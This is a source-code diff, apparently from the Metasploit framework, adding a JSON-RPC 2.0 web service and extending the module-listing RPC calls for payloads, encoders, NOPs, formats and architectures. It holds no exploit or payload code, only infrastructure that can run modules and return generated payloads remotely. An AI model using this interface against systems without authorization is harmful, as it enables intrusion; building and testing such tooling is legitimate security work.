def self.add_response_id_member(response, request)
|
||||
if !request.nil? && request.key?(:id)
|
||||
response[:id] = request[:id]
|
||||
else
|
||||
response[:id] = nil
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,31 @@
|
|||
require 'msf/core/rpc'
|
||||
|
||||
module Msf::RPC::JSON
|
||||
module DispatcherHelper
|
||||
# Get an RPC Dispatcher for the RPC version. Creates a new instance and stores
|
||||
# it in the dispatchers hash if one does not already exist for the version.
|
||||
# @param dispatchers [Hash] hash of version Symbol - Msf::RPC::JSON::Dispatcher object pairs
|
||||
# @param version [Symbol] the RPC version
|
||||
# @param framework [Msf::Simple::Framework] Framework wrapper instance
|
||||
# @returns [Msf::RPC::JSON::Dispatcher] an RPC Dispatcher for the specified version
|
||||
def get_dispatcher(dispatchers, version, framework)
|
||||
unless dispatchers.key?(version)
|
||||
dispatchers[version] = create_dispatcher(version, framework)
|
||||
end
|
||||
|
||||
dispatchers[version]
|
||||
end
|
||||
|
||||
# Create an RPC Dispatcher composed of an RpcCommand for the provided version.
|
||||
# @param version [Symbol] the RPC version
|
||||
# @param framework [Msf::Simple::Framework] Framework wrapper instance
|
||||
# @returns [Msf::RPC::JSON::Dispatcher] an RPC Dispatcher for the specified version
|
||||
def create_dispatcher(version, framework)
|
||||
command = RpcCommandFactory.create(version, framework)
|
||||
dispatcher = Dispatcher.new(framework)
|
||||
dispatcher.set_command(command)
|
||||
|
||||
dispatcher
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,136 @@
|
|||
module Msf::RPC::JSON
|
||||
|
||||
# JSON-RPC 2.0 Error Codes
|
||||
## Specification errors:
|
||||
PARSE_ERROR = -32700
|
||||
INVALID_REQUEST = -32600
|
||||
METHOD_NOT_FOUND = -32601
|
||||
INVALID_PARAMS = -32602
|
||||
INTERNAL_ERROR = -32603
|
||||
## Implementation-defined server-errors:
|
||||
SERVER_ERROR_MAX = -32000
|
||||
SERVER_ERROR_MIN = -32099
|
||||
APPLICATION_SERVER_ERROR = -32000
|
||||
|
||||
# JSON-RPC 2.0 Error Messages
|
||||
ERROR_MESSAGES = {
|
||||
# Specification errors:
|
||||
PARSE_ERROR => 'Invalid JSON was received by the server. An error occurred on the server while parsing the JSON text.',
|
||||
INVALID_REQUEST => 'The JSON sent is not a valid Request object.',
|
||||
METHOD_NOT_FOUND => 'The method %<name>s does not exist.',
|
||||
INVALID_PARAMS => 'Invalid method parameter(s).',
|
||||
INTERNAL_ERROR => 'Internal JSON-RPC error',
|
||||
# Implementation-defined server-errors:
|
||||
APPLICATION_SERVER_ERROR => 'Application server error: %<msg>s',
|
||||
}
|
||||
|
||||
# Base class for all Msf::RPC::JSON exceptions.
|
||||
class RpcError < StandardError
|
||||
# Code Message Meaning
|
||||
# -32700 Parse error Invalid JSON was received by the server. An error
|
||||
# occurred on the server while parsing the JSON text.
|
||||
# -32600 Invalid Request The JSON sent is not a valid Request object.
|
||||
# -32601 Method not found The method does not exist / is not available.
|
||||
# -32602 Invalid params Invalid method parameter(s).
|
||||
# -32603 Internal error Internal JSON-RPC error.
|
||||
# -32000 to -32099 Server error Reserved for implementation-defined server-errors.
|
||||
|
||||
attr_reader :code
|
||||
attr_reader :message
|
||||
attr_reader :data
|
||||
|
||||
# Instantiate an RpcError object.
|
||||
#
|
||||
# @param code [Integer] A Number that indicates the error type that occurred.
|
||||
# @param message [String] A String providing a short description of the error.
|
||||
# The message SHOULD be limited to a concise single sentence.
|
||||
# @param data [Object] A Primitive or Structured value that contains additional
|
||||
# information about the error. This may be omitted. The value of this member is
|
||||
# defined by the Server (e.g. detailed error information, nested errors etc.).
|
||||
# The default value is nil.
|
||||
def initialize(code, message, data: nil)
|
||||
super(message)
|
||||
@code = code
|
||||
@message = message
|
||||
@data = data
|
||||
end
|
||||
|
||||
def to_h
|
||||
hash = {
|
||||
code: @code,
|
||||
message: @message
|
||||
}
|
||||
|
||||
# process data member
|
||||
unless @data.nil?
|
||||
if @data.is_a?(String) || @data.kind_of?(Numeric) || @data.is_a?(Array) || @data.is_a?(Hash)
|
||||
hash[:data] = @data
|
||||
elsif @data.respond_to?(:to_h)
|
||||
hash[:data] = @data.to_h
|
||||
else
|
||||
hash[:data] = @data.to_s
|
||||
end
|
||||
end
|
||||
|
||||
hash
|
||||
end
|
||||
end
|
||||
|
||||
class ParseError < RpcError
|
||||
def initialize(data: nil)
|
||||
super(PARSE_ERROR, ERROR_MESSAGES[PARSE_ERROR], data: data)
|
||||
end
|
||||
end
|
||||
|
||||
class InvalidRequest < RpcError
|
||||
def initialize(data: nil)
|
||||
super(INVALID_REQUEST, ERROR_MESSAGES[INVALID_REQUEST], data: data)
|
||||
end
|
||||
end
|
||||
|
||||
class MethodNotFound < RpcError
|
||||
def initialize(method, data: nil)
|
||||
super(METHOD_NOT_FOUND, ERROR_MESSAGES[METHOD_NOT_FOUND] % {name: method}, data: data)
|
||||
end
|
||||
end
|
||||
|
||||
class InvalidParams < RpcError
|
||||
def initialize(data: nil)
|
||||
super(INVALID_PARAMS, ERROR_MESSAGES[INVALID_PARAMS], data: data)
|
||||
end
|
||||
end
|
||||
|
||||
class InternalError < RpcError
|
||||
def initialize(e, data: nil)
|
||||
super(INTERNAL_ERROR, "#{ERROR_MESSAGES[INTERNAL_ERROR]}: #{e}", data: data)
|
||||
end
|
||||
end
|
||||
|
||||
# Class is reserved for implementation-defined server-error exceptions.
|
||||
class ServerError < RpcError
|
||||
|
||||
# Instantiate a ServerError object.
|
||||
#
|
||||
# @param code [Integer] A Number that indicates the error type that occurred.
|
||||
# The code must be between -32000 and -32099.
|
||||
# @param message [String] A String providing a short description of the error.
|
||||
# The message SHOULD be limited to a concise single sentence.
|
||||
# @param data [Object] A Primitive or Structured value that contains additional
|
||||
# information about the error. This may be omitted. The value of this member is
|
||||
# defined by the Server (e.g. detailed error information, nested errors etc.).
|
||||
# The default value is nil.
|
||||
# @raise [ArgumentError] Module not found (either the wrong type or name).
|
||||
def initialize(code, message, data: nil)
|
||||
if code < SERVER_ERROR_MIN || code > SERVER_ERROR_MAX
|
||||
raise ArgumentError.new("invalid code #{code}, must be between #{SERVER_ERROR_MAX} and #{SERVER_ERROR_MIN}")
|
||||
end
|
||||
super(code, message, data: data)
|
||||
end
|
||||
end
|
||||
|
||||
class ApplicationServerError < ServerError
|
||||
def initialize(message, data: nil)
|
||||
super(APPLICATION_SERVER_ERROR, ERROR_MESSAGES[APPLICATION_SERVER_ERROR] % {msg: message}, data: data)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,53 @@
|
|||
module Msf::RPC::JSON
|
||||
class RpcCommand
|
||||
attr_reader :framework
|
||||
attr_accessor :execute_timeout
|
||||
|
||||
# Instantiate an RpcCommand.
|
||||
# @param framework [Msf::Simple::Framework] Framework wrapper instance
|
||||
# @param execute_timeout [Integer] execute timeout duration in seconds
|
||||
def initialize(framework, execute_timeout: 7200)
|
||||
@framework = framework
|
||||
@execute_timeout = execute_timeout
|
||||
@methods = {}
|
||||
end
|
||||
|
||||
# Add a method to the RPC Command
|
||||
# @param method [Method] the Method
|
||||
# @param name [String] the name the method is register under. The method name is used if nil.
|
||||
# @returns [Method] the Method.
|
||||
def register_method(method, name: nil)
|
||||
if name.nil?
|
||||
if method.is_a?(Method)
|
||||
name = method.name.to_s
|
||||
else
|
||||
name = method.to_s
|
||||
end
|
||||
end
|
||||
@methods[name] = method
|
||||
end
|
||||
|
||||
# Invokes the method on the receiver object with the specified params,
|
||||
# returning the method's return value.
|
||||
# @param method [String] the RPC method name
|
||||
# @param params [Array, Hash] parameters for the RPC call
|
||||
# @raise [MethodNotFound] The method does not exist
|
||||
# @raise [Timeout::Error] The method failed to terminate in @execute_timeout seconds
|
||||
# @returns [Object] the method's return value.
|
||||
def execute(method, params)
|
||||
unless @methods.key?(method)
|
||||
raise MethodNotFound.new(method)
|
||||
end
|
||||
|
||||
::Timeout.timeout(@execute_timeout) do
|
||||
if params.nil?
|
||||
return @methods[method].call()
|
||||
elsif params.is_a?(Array)
|
||||
return @methods[method].call(*params)
|
||||
else
|
||||
return @methods[method].call(**params)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,43 @@
|
|||
require 'msf/core/rpc'
|
||||
require 'msf/core/rpc/json/v1_0/rpc_command'
|
||||
require 'msf/core/rpc/json/v2_0/rpc_test'
|
||||
|
||||
module Msf::RPC::JSON
|
||||
class RpcCommandFactory
|
||||
# Create an RpcCommand for the provided version.
|
||||
# @param version [Symbol] the RPC version
|
||||
# @param framework [Msf::Simple::Framework] Framework wrapper instance
|
||||
# @raise [ArgumentError] invalid RPC version
|
||||
# @returns [RpcCommand] an RpcCommand for the specified version
|
||||
def self.create(version, framework)
|
||||
case version
|
||||
when :v1, :v1_0, :v10
|
||||
return Msf::RPC::JSON::V1_0::RpcCommand.new(framework)
|
||||
when :v2, :v2_0
|
||||
return RpcCommandFactory.create_rpc_command_v2_0(framework)
|
||||
else
|
||||
raise ArgumentError.new("invalid RPC version #{version}")
|
||||
end
|
||||
end
|
||||
|
||||
# Creates an RpcCommand for a demonstration RPC version 2.0.
|
||||
# @param framework [Msf::Simple::Framework] Framework wrapper instance
|
||||
# @returns [RpcCommand] an RpcCommand for a demonstration RPC version 2.0
|
||||
def self.create_rpc_command_v2_0(framework)
|
||||
# TODO: does belong in some sort of loader class for an RPC version?
|
||||
# instantiate receiver
|
||||
rpc_test = Msf::RPC::JSON::V2_0::RpcTest.new()
|
||||
|
||||
command = Msf::RPC::JSON::RpcCommand.new(framework)
|
||||
|
||||
# Add class methods
|
||||
command.register_method(Msf::RPC::JSON::V2_0::RpcTest.method(:add))
|
||||
command.register_method(Msf::RPC::JSON::V2_0::RpcTest.method(:add), name: 'add_alias')
|
||||
# Add instance methods
|
||||
command.register_method(rpc_test.method(:get_instance_rand_num))
|
||||
command.register_method(rpc_test.method(:add_instance_rand_num))
|
||||
|
||||
command
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,152 @@
|
|||
require 'base64'
|
||||
require 'msf/core/rpc'
|
||||
|
||||
module Msf::RPC::JSON
|
||||
module V1_0
|
||||
class RpcCommand < ::Msf::RPC::JSON::RpcCommand
|
||||
METHOD_GROUP_SEPARATOR = '.'
|
||||
|
||||
MODULE_EXECUTE_KEY = 'module.execute'
|
||||
PAYLOAD_MODULE_TYPE_KEY = 'payload'
|
||||
PAYLOAD_KEY = 'payload'
|
||||
|
||||
# Instantiate an RpcCommand.
|
||||
# @param framework [Msf::Simple::Framework] Framework wrapper instance
|
||||
# @param execute_timeout [Integer] execute timeout duration in seconds
|
||||
def initialize(framework, execute_timeout: 7200)
|
||||
super(framework, execute_timeout: execute_timeout)
|
||||
|
||||
# The legacy Msf::RPC::Service will not be started, however, it will be used to proxy
|
||||
# requests to existing handlers. This frees the command from having to act as the
|
||||
# service to RPC_Base subclasses and expose accessors for tokens and users.
|
||||
@legacy_rpc_service = ::Msf::RPC::Service.new(@framework, {
|
||||
execute_timeout: @execute_timeout
|
||||
})
|
||||
end
|
||||
|
||||
# @raise [RuntimeError] The method is not implemented
|
||||
def register_method(method, name: nil)
|
||||
raise "#{self.class.name}##{__method__} is not implemented"
|
||||
end
|
||||
|
||||
# Invokes the method on the receiver object with the specified params,
|
||||
# returning the method's return value.
|
||||
# @param method [String] the RPC method name
|
||||
# @param params [Array, Hash] parameters for the RPC call
|
||||
# @returns [Object] the method's return value.
|
||||
def execute(method, params)
|
||||
result = execute_internal(method, params)
|
||||
result = post_process_result(result, method, params)
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Internal method that invokes the method on the receiver object with
|
||||
# the specified params, returning the method's return value.
|
||||
# @param method [String] the RPC method name
|
||||
# @param params [Array, Hash] parameters for the RPC call
|
||||
# @raise [MethodNotFound] The method does not exist
|
||||
# @raise [Timeout::Error] The method failed to terminate in @execute_timeout seconds
|
||||
# @returns [Object] the method's return value.
|
||||
def execute_internal(method, params)
|
||||
group, base_method = parse_method_group(method)
|
||||
|
||||
method_name = "rpc_#{base_method}"
|
||||
method_name_noauth = "rpc_#{base_method}_noauth"
|
||||
|
||||
handler = (find_handler(@legacy_rpc_service.handlers, group, method_name) || find_handler(@legacy_rpc_service.handlers, group, method_name_noauth))
|
||||
if handler.nil?
|
||||
raise MethodNotFound.new(method)
|
||||
end
|
||||
|
||||
if handler.respond_to?(method_name_noauth)
|
||||
method_name = method_name_noauth
|
||||
end
|
||||
|
||||
::Timeout.timeout(@execute_timeout) do
|
||||
params = prepare_params(params)
|
||||
if params.nil?
|
||||
return handler.send(method_name)
|
||||
elsif params.is_a?(Array)
|
||||
return handler.send(method_name, *params)
|
||||
else
|
||||
return handler.send(method_name, **params)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Parse method string in the format "group.base_method_name".
|
||||
# @param method [String] the RPC method name
|
||||
# @returns [Array] Tuple of strings, group and base_method
|
||||
def parse_method_group(method)
|
||||
idx = method.rindex(METHOD_GROUP_SEPARATOR)
|
||||
if idx.nil?
|
||||
group = nil
|
||||
base_method = method
|
||||
else
|
||||
group = method[0..idx - 1]
|
||||
base_method = method[idx + 1..-1]
|
||||
end
|
||||
return group, base_method
|
||||
end
|
||||
|
||||
# Find the concrete Msf::RPC::RPC_Base handler for the group and method name.
|
||||
# @param handlers [Hash] hash of group String - Msf::RPC::RPC_Base object pairs
|
||||
# @param group [String] the RPC group
|
||||
# @param method_name [String] the RPC method name
|
||||
# @returns [Msf::RPC::RPC_Base] concrete Msf::RPC::RPC_Base instance if one exists; otherwise, nil.
|
||||
def find_handler(handlers, group, method_name)
|
||||
handler = nil
|
||||
if !handlers[group].nil? && handlers[group].respond_to?(method_name)
|
||||
handler = handlers[group]
|
||||
end
|
||||
|
||||
handler
|
||||
end
|
||||
|
||||
# Prepare params for use by RPC methods by converting all hashes
|
||||
# inside of Arrays to use strings for their names (keys).
|
||||
# @param params [Object] parameters for the RPC call
|
||||
# @returns [Object] If params is an Array all hashes it contains will be
|
||||
# modified; otherwise, the object will simply pass-through.
|
||||
def prepare_params(params)
|
||||
clean_params = params
|
||||
if params.is_a?(Array)
|
||||
clean_params = params.map do |p|
|
||||
if p.is_a?(Hash)
|
||||
stringify_names(p)
|
||||
else
|
||||
p
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
clean_params
|
||||
end
|
||||
|
||||
# Stringify the names (keys) in hash.
|
||||
# @param hash [Hash] input hash
|
||||
# @returns [Hash] a new hash with strings for the keys.
|
||||
def stringify_names(hash)
|
||||
JSON.parse(JSON.dump(hash), symbolize_names: false)
|
||||
end
|
||||
|
||||
# Perform custom post processing of the execute result data.
|
||||
# @param result [Object] the method's return value
|
||||
# @param method [String] the RPC method name
|
||||
# @param params [Array, Hash] parameters for the RPC call
|
||||
# @returns [Object] processed method's return value
|
||||
def post_process_result(result, method, params)
|
||||
# post-process payload module result for JSON output
|
||||
if method == MODULE_EXECUTE_KEY && params.size >= 2 &&
|
||||
params[0] == PAYLOAD_MODULE_TYPE_KEY && result.key?(PAYLOAD_KEY)
|
||||
result[PAYLOAD_KEY] = Base64.strict_encode64(result[PAYLOAD_KEY])
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,24 @@
|
|||
module Msf::RPC::JSON::V2_0
|
||||
# Receiver class for demonstration RPC version 2.0.
|
||||
class RpcTest
|
||||
|
||||
def initialize
|
||||
r = Random.new
|
||||
@rand_num = r.rand(0..100)
|
||||
end
|
||||
|
||||
def self.add(x, y)
|
||||
x + y
|
||||
end
|
||||
|
||||
def get_instance_rand_num
|
||||
@rand_num
|
||||
end
|
||||
|
||||
def add_instance_rand_num(x)
|
||||
@rand_num = @rand_num + x
|
||||
|
||||
@rand_num
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,5 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'json'
|
||||
require 'msf/util/document_generator'
|
||||
|
||||
module Msf
|
||||
|
@ -39,38 +40,144 @@ class RPC_Module < RPC_Base
|
|||
end
|
||||
|
||||
|
||||
# Returns a list of payload module names. The 'payload/' prefix will not be included.
|
||||
# Returns a list of payload module names or a hash with payload module names as keys to hashes
|
||||
# that contain the module information fields requested. The 'payload/' prefix will not be included.
|
||||
#
|
||||
# @return [Hash] A list of payload module names. It contains the following key:
|
||||
# * 'modules' [Array<string>] Payload module names, for example: ['windows/x64/shell_reverse_tcp']
|
||||
# @param module_info [String] Comma-separated list of module information field names.
|
||||
# If this is nil, then only module names are returned. Default: nil
|
||||
# @param arch [String] Comma-separated list of one or more architectures that
|
||||
# the module must support. The module need only support one of the architectures
|
||||
# to be included, not all architectures. Default: nil
|
||||
#
|
||||
# @return [Hash] If module_info is nil, a list of payload module names. It contains the following key:
|
||||
# * 'modules' [Array<String>] Payload module names, for example: ['windows/x64/shell_reverse_tcp']
|
||||
# If module_info is not nil, payload module names as keys to hashes that contain the requested module
|
||||
# information fields. It contains the following key:
|
||||
# * 'modules' [Hash] for example:
|
||||
# {"windows/x64/shell_reverse_tcp"=>{"name"=>"Windows x64 Command Shell, Reverse TCP Inline"}
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('module.payloads')
|
||||
def rpc_payloads
|
||||
{ "modules" => self.framework.payloads.keys }
|
||||
def rpc_payloads(module_info = nil, arch = nil)
|
||||
module_info_contains_size = false
|
||||
|
||||
unless module_info.nil?
|
||||
module_info = module_info.strip.split(',').map(&:strip)
|
||||
module_info.map!(&:to_sym)
|
||||
module_info_contains_size = module_info.include?(:size)
|
||||
end
|
||||
|
||||
unless arch.nil?
|
||||
arch = arch.strip.split(',').map(&:strip)
|
||||
end
|
||||
|
||||
data = module_info.nil? ? [] : {}
|
||||
arch_filter = !arch.nil? && !arch.empty? ? arch : nil
|
||||
self.framework.payloads.each_module('Arch' => arch_filter) do |name, mod|
|
||||
if module_info.nil?
|
||||
data << name
|
||||
else
|
||||
module_instance = mod.new
|
||||
if !module_info_contains_size && mod.method_defined?(:generate)
|
||||
# Unless the size field is specified in module_info, modify the generate
|
||||
# method for the module instance in order to skip payload generation when
|
||||
# the size method is called by Msf::Serializer::Json.dump_module, thus
|
||||
# reducing the processing time.
|
||||
class << module_instance
|
||||
def generate
|
||||
''
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
tmp_mod_info = ::JSON.parse(Msf::Serializer::Json.dump_module(module_instance), symbolize_names: true)
|
||||
data[name] = tmp_mod_info.select { |k,v| module_info.include?(k) }
|
||||
end
|
||||
end
|
||||
|
||||
{ "modules" => data }
|
||||
end
|
||||
|
||||
|
||||
# Returns a list of encoder module names. The 'encoder/' prefix will not be included.
|
||||
# Returns a list of encoder module names or a hash with encoder module names as keys to hashes
|
||||
# that contain the module information fields requested. The 'encoder/' prefix will not be included.
|
||||
#
|
||||
# @return [Hash] A list of encoder module names. It contains the following key:
|
||||
# * 'modules' [Array<string>] Encoder module names, for example: ['x86/unicode_upper']
|
||||
# @param module_info [String] Comma-separated list of module information field names.
|
||||
# If this is nil, then only module names are returned. Default: nil
|
||||
# @param arch [String] Comma-separated list of one or more architectures that
|
||||
# the module must support. The module need only support one of the architectures
|
||||
# to be included, not all architectures. Default: nil
|
||||
#
|
||||
# @return [Hash] If module_info is nil, a list of encoder module names. It contains the following key:
|
||||
# * 'modules' [Array<String>] Encoder module names, for example: ['x86/unicode_upper']
|
||||
# If module_info is not nil, encoder module names as keys to hashes that contain the requested module
|
||||
# information fields. It contains the following key:
|
||||
# * 'modules' [Hash] for example:
|
||||
# {"x86/unicode_upper"=>{"name"=>"Alpha2 Alphanumeric Unicode Uppercase Encoder", "rank"=>"Manual"}}
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('module.encoders')
|
||||
def rpc_encoders
|
||||
{ "modules" => self.framework.encoders.keys }
|
||||
def rpc_encoders(module_info = nil, arch = nil)
|
||||
unless module_info.nil?
|
||||
module_info = module_info.strip.split(',').map(&:strip)
|
||||
module_info.map!(&:to_sym)
|
||||
end
|
||||
|
||||
unless arch.nil?
|
||||
arch = arch.strip.split(',').map(&:strip)
|
||||
end
|
||||
|
||||
data = module_info.nil? ? [] : {}
|
||||
arch_filter = !arch.nil? && !arch.empty? ? arch : nil
|
||||
self.framework.encoders.each_module('Arch' => arch_filter) do |name, mod|
|
||||
if module_info.nil?
|
||||
data << name
|
||||
else
|
||||
tmp_mod_info = ::JSON.parse(Msf::Serializer::Json.dump_module(mod.new), symbolize_names: true)
|
||||
data[name] = tmp_mod_info.select { |k,v| module_info.include?(k) }
|
||||
end
|
||||
end
|
||||
|
||||
{ "modules" => data }
|
||||
end
|
||||
|
||||
|
||||
# Returns a list of NOP module names. The 'nop/' prefix will not be included.
|
||||
# Returns a list of NOP module names or a hash with NOP module names as keys to hashes
|
||||
# that contain the module information fields requested. The 'nop/' prefix will not be included.
|
||||
#
|
||||
# @return [Hash] A list of NOP module names. It contains the following key:
|
||||
# * 'modules' [Array<string>] NOP module names, for example: ['x86/single_byte']
|
||||
# @param module_info [String] Comma-separated list of module information field names.
|
||||
# If this is nil, then only module names are returned. Default: nil
|
||||
# @param arch [String] Comma-separated list of one or more architectures that
|
||||
# the module must support. The module need only support one of the architectures
|
||||
# to be included, not all architectures. Default: nil
|
||||
#
|
||||
# @return [Hash] If module_info is nil, a list of NOP module names. It contains the following key:
|
||||
# * 'modules' [Array<String>] NOP module names, for example: ['x86/single_byte']
|
||||
# If module_info is not nil, NOP module names as keys to hashes that contain the requested module
|
||||
# information fields. It contains the following key:
|
||||
# * 'modules' [Hash] for example:
|
||||
# {"x86/single_byte"=>{"name"=>"Single Byte", "rank"=>"Normal"}}
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('module.nops')
|
||||
def rpc_nops
|
||||
{ "modules" => self.framework.nops.keys }
|
||||
end
|
||||
def rpc_nops(module_info = nil, arch = nil)
|
||||
unless module_info.nil?
|
||||
module_info = module_info.strip.split(',').map(&:strip)
|
||||
module_info.map!(&:to_sym)
|
||||
end
|
||||
|
||||
unless arch.nil?
|
||||
arch = arch.strip.split(',').map(&:strip)
|
||||
end
|
||||
|
||||
data = module_info.nil? ? [] : {}
|
||||
arch_filter = !arch.nil? && !arch.empty? ? arch : nil
|
||||
self.framework.nops.each_module('Arch' => arch_filter) do |name, mod|
|
||||
if module_info.nil?
|
||||
data << name
|
||||
else
|
||||
tmp_mod_info = ::JSON.parse(Msf::Serializer::Json.dump_module(mod.new), symbolize_names: true)
|
||||
data[name] = tmp_mod_info.select { |k,v| module_info.include?(k) }
|
||||
end
|
||||
end
|
||||
|
||||
{ "modules" => data }
|
||||
end
|
||||
|
||||
# Returns a list of post module names. The 'post/' prefix will not be included.
|
||||
#
|
||||
|
@ -376,10 +483,57 @@ class RPC_Module < RPC_Base
|
|||
|
||||
end
|
||||
|
||||
# Returns a list of executable format names.
|
||||
#
|
||||
# @return [Array<String>] A list of executable format names, for example: ["exe"]
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('module.executable_formats')
|
||||
def rpc_executable_formats
|
||||
::Msf::Util::EXE.to_executable_fmt_formats
|
||||
end
|
||||
|
||||
# Returns a list of transform format names.
|
||||
#
|
||||
# @return [Array<String>] A list of transform format names, for example: ["powershell"]
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('module.transform_formats')
|
||||
def rpc_transform_formats
|
||||
::Msf::Simple::Buffer.transform_formats
|
||||
end
|
||||
|
||||
# Returns a list of encryption format names.
|
||||
#
|
||||
# @return [Array<String>] A list of encryption format names, for example: ["aes256"]
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('module.encryption_formats')
|
||||
def rpc_encryption_formats
|
||||
::Msf::Simple::Buffer.encryption_formats
|
||||
end
|
||||
|
||||
# Returns a list of platform names.
|
||||
#
|
||||
# @return [Array<String>] A list of platform names, for example: ["linux"]
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('module.platforms')
|
||||
def rpc_platforms
|
||||
supported_platforms = []
|
||||
Msf::Module::Platform.subclasses.each { |c| supported_platforms << c.realname.downcase }
|
||||
supported_platforms.sort
|
||||
end
|
||||
|
||||
# Returns a list of architecture names.
|
||||
#
|
||||
# @return [Array<String>] A list of architecture names, for example: ["x64"]
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('module.architectures')
|
||||
def rpc_architectures
|
||||
supported_archs = ARCH_ALL.dup
|
||||
supported_archs.sort
|
||||
end
|
||||
|
||||
# Returns a list of encoding formats.
|
||||
#
|
||||
# @return [Array<String>] Encoding foramts.
|
||||
# @return [Array<String>] Encoding formats.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('module.encode_formats')
|
||||
def rpc_encode_formats
|
||||
|
|
|
@ -0,0 +1,67 @@
|
|||
require 'sinatra/base'
|
||||
require 'swagger/blocks'
|
||||
require 'sysrandom/securerandom'
|
||||
require 'warden'
|
||||
require 'msf/core/rpc'
|
||||
require 'msf/core/db_manager/http/authentication'
|
||||
require 'msf/core/db_manager/http/servlet_helper'
|
||||
require 'msf/core/db_manager/http/servlet/auth_servlet'
|
||||
require 'msf/core/web_services/servlet/json_rpc_servlet'
|
||||
|
||||
class JsonRpcApp < Sinatra::Base
|
||||
helpers ServletHelper
|
||||
helpers Msf::RPC::JSON::DispatcherHelper
|
||||
|
||||
# Servlet registration
|
||||
register AuthServlet
|
||||
register JsonRpcServlet
|
||||
|
||||
set :framework, Msf::Simple::Framework.create({})
|
||||
set :dispatchers, {}
|
||||
|
||||
configure do
|
||||
set :sessions, {key: 'msf-ws.session', expire_after: 300}
|
||||
set :session_secret, ENV.fetch('MSF_WS_SESSION_SECRET') { SecureRandom.hex(16) }
|
||||
end
|
||||
|
||||
before do
|
||||
# store DBManager in request environment so that it is available to Warden
|
||||
request.env['msf.db_manager'] = get_db
|
||||
# store flag indicating whether authentication is initialized in the request environment
|
||||
@@auth_initialized ||= get_db.users({}).count > 0
|
||||
request.env['msf.auth_initialized'] = @@auth_initialized
|
||||
end
|
||||
|
||||
use Warden::Manager do |config|
|
||||
# failed authentication is handled by this application
|
||||
config.failure_app = self
|
||||
# don't intercept 401 responses since the app will provide custom failure messages
|
||||
config.intercept_401 = false
|
||||
config.default_scope = :api
|
||||
|
||||
config.scope_defaults :user,
|
||||
# whether to persist the result in the session or not
|
||||
store: true,
|
||||
# list of strategies to use
|
||||
strategies: [:password],
|
||||
# action (route) of the failure application
|
||||
action: "#{AuthServlet.api_unauthenticated_path}/user"
|
||||
|
||||
config.scope_defaults :api,
|
||||
# whether to persist the result in the session or not
|
||||
store: false,
|
||||
# list of strategies to use
|
||||
strategies: [:api_token],
|
||||
# action (route) of the failure application
|
||||
action: AuthServlet.api_unauthenticated_path
|
||||
|
||||
config.scope_defaults :admin_api,
|
||||
# whether to persist the result in the session or not
|
||||
store: false,
|
||||
# list of strategies to use
|
||||
strategies: [:admin_api_token],
|
||||
# action (route) of the failure application
|
||||
action: AuthServlet.api_unauthenticated_path
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,34 @@
|
|||
require 'msf/core/rpc'
|
||||
|
||||
module JsonRpcServlet
|
||||
|
||||
def self.api_path
|
||||
'/api/:version/json-rpc'
|
||||
end
|
||||
|
||||
def self.registered(app)
|
||||
app.post JsonRpcServlet.api_path, &post_rpc
|
||||
end
|
||||
|
||||
#######
|
||||
private
|
||||
#######
|
||||
|
||||
# Process JSON-RPC request
|
||||
def self.post_rpc
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
body = request.body.read
|
||||
tmp_params = sanitize_params(params)
|
||||
data = get_dispatcher(settings.dispatchers, tmp_params[:version].to_sym, settings.framework).process(body)
|
||||
set_raw_response(data)
|
||||
rescue => e
|
||||
print_error("There was an error executing the RPC: #{e.message}.", e)
|
||||
error = Msf::RPC::JSON::Dispatcher.create_error_response(Msf::RPC::JSON::InternalError.new(e))
|
||||
data = Msf::RPC::JSON::Dispatcher.to_json(error)
|
||||
set_raw_response(data, code: 500)
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
|
@ -824,7 +824,7 @@ class Core
|
|||
print_line " print - show all active routes"
|
||||
print_line
|
||||
print_line "Examples:"
|
||||
print_line " Add a route for all hosts from 192.168.0.0 to 192.168.0.0 through session 1"
|
||||
print_line " Add a route for all hosts from 192.168.0.0 to 192.168.0.255 through session 1"
|
||||
print_line " route add 192.168.0.0 255.255.255.0 1"
|
||||
print_line " route add 192.168.0.0/24 1"
|
||||
print_line
|
||||
|
|
|
@ -5,8 +5,9 @@ class Msf::Ui::Console::CommandDispatcher::Developer
|
|||
include Msf::Ui::Console::CommandDispatcher
|
||||
|
||||
@@irb_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner." ],
|
||||
"-e" => [ true, "Expression to evaluate." ])
|
||||
'-h' => [false, 'Help menu.' ],
|
||||
'-e' => [true, 'Expression to evaluate.']
|
||||
)
|
||||
|
||||
def initialize(driver)
|
||||
super
|
||||
|
@ -18,48 +19,77 @@ class Msf::Ui::Console::CommandDispatcher::Developer
|
|||
|
||||
def commands
|
||||
{
|
||||
'irb' => 'Drop into irb scripting mode',
|
||||
'pry' => 'Open a Pry session on the current module or Framework',
|
||||
'irb' => 'Open an interactive Ruby shell in the current context',
|
||||
'pry' => 'Open the Pry debugger on the current module or Framework',
|
||||
'edit' => 'Edit the current module or a file with the preferred editor',
|
||||
'reload_lib' => 'Reload one or more library files from specified paths',
|
||||
'log' => 'Displays framework.log starting at the bottom if possible'
|
||||
'reload_lib' => 'Reload Ruby library files from specified paths',
|
